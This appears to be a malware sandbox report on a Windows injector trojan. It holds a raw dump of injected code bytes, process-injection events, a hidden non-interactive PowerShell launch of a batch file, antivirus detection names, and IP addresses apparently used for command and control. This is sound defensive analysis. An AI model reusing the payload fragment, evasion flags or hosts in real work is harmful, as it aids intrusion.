 buffer: U‹ìƒÄø‹E‹‰Uø‹P‰Uü1ÀPjÿuøÿUüYY]@U‹ìƒÄÔSVW‹ú‹ðEԋÌBPè©þþÿ3ÀUh=KPdÿ0d‰ ÆEÿ‹G<ljEô»rÃj@h0‹Eô‹@PP‹Eô‹@4ÃPèŒÿÿ‰Eðƒ}ðt0h€j‹EðPèƒÿÿj@h0‹Eô‹@PP‹Eô‹@4ÃPVè^ÿÿ‰Eðƒ}ðuûtv—EÔP‹Ï‹Uð‹Æ蝋EԅÀt7‰Eè‹Uà‰UìUøR‹UØRP‹EðPVèRÿÿjjMèºJP‹Æè_ýÿÿ…ÀtÆEÿ3ÀZYYd‰hDKPEԋÌBPè|þþÿÃ
base_address: 0x00270000
process_identifier: 2428
process_handle: 0x00000180
1 1 0
process PI_nr_784_(REV).exe useragent lVali
process PI_nr_784_(REV).exe useragent 23
parent_process powershell.exe martian_process C:\Users\test22\Cdex.bat
parent_process powershell.exe martian_process "C:\Windows\System32\cmd.exe" /C "C:\Users\test22\Cdex.bat"
Process injection Process 2476 resumed a thread in remote process 1628
Process injection Process 296 resumed a thread in remote process 2544
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 1628
1 0 0

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2544
1 0 0
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noninteractive value Prevents creating an interactive prompt for the user
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Bkav W32.AIDetect.malware2
Elastic malicious (high confidence)
FireEye Generic.mg.4076ff3f80a82af9
McAfee GenericRXAA-AA!4076FF3F80A8
Cylance Unsafe
Symantec Scr.MalPbs!gen1
ESET-NOD32 a variant of Win32/Injector.ERCS
Kaspersky HEUR:Trojan.Win32.Injuke.gen
APEX Malicious
Rising Trojan.Injuke!8.10932 (CLOUD)
DrWeb Trojan.DownLoader44.38170
McAfee-GW-Edition BehavesLike.Win32.Generic.bc
Emsisoft Trojan.Injector (A)
Avira HEUR/AGEN.1214709
Microsoft Trojan:Win32/DelfInject.PDI!MTB
ZoneAlarm HEUR:Trojan.Win32.Injuke.gen
Cynet Malicious (score: 100)
VBA32 Malware-Cryptor.Limpopo
Malwarebytes Trojan.MalPack.DLF
Avast Win32:MalwareX-gen [Trj]
Fortinet W32/Injector.EQPQ!tr
AVG Win32:MalwareX-gen [Trj]
CrowdStrike win/grayware_confidence_90% (D)
dead_host 192.168.56.102:49166
dead_host 23.105.131.249:3370
dead_host 185.140.53.254:3370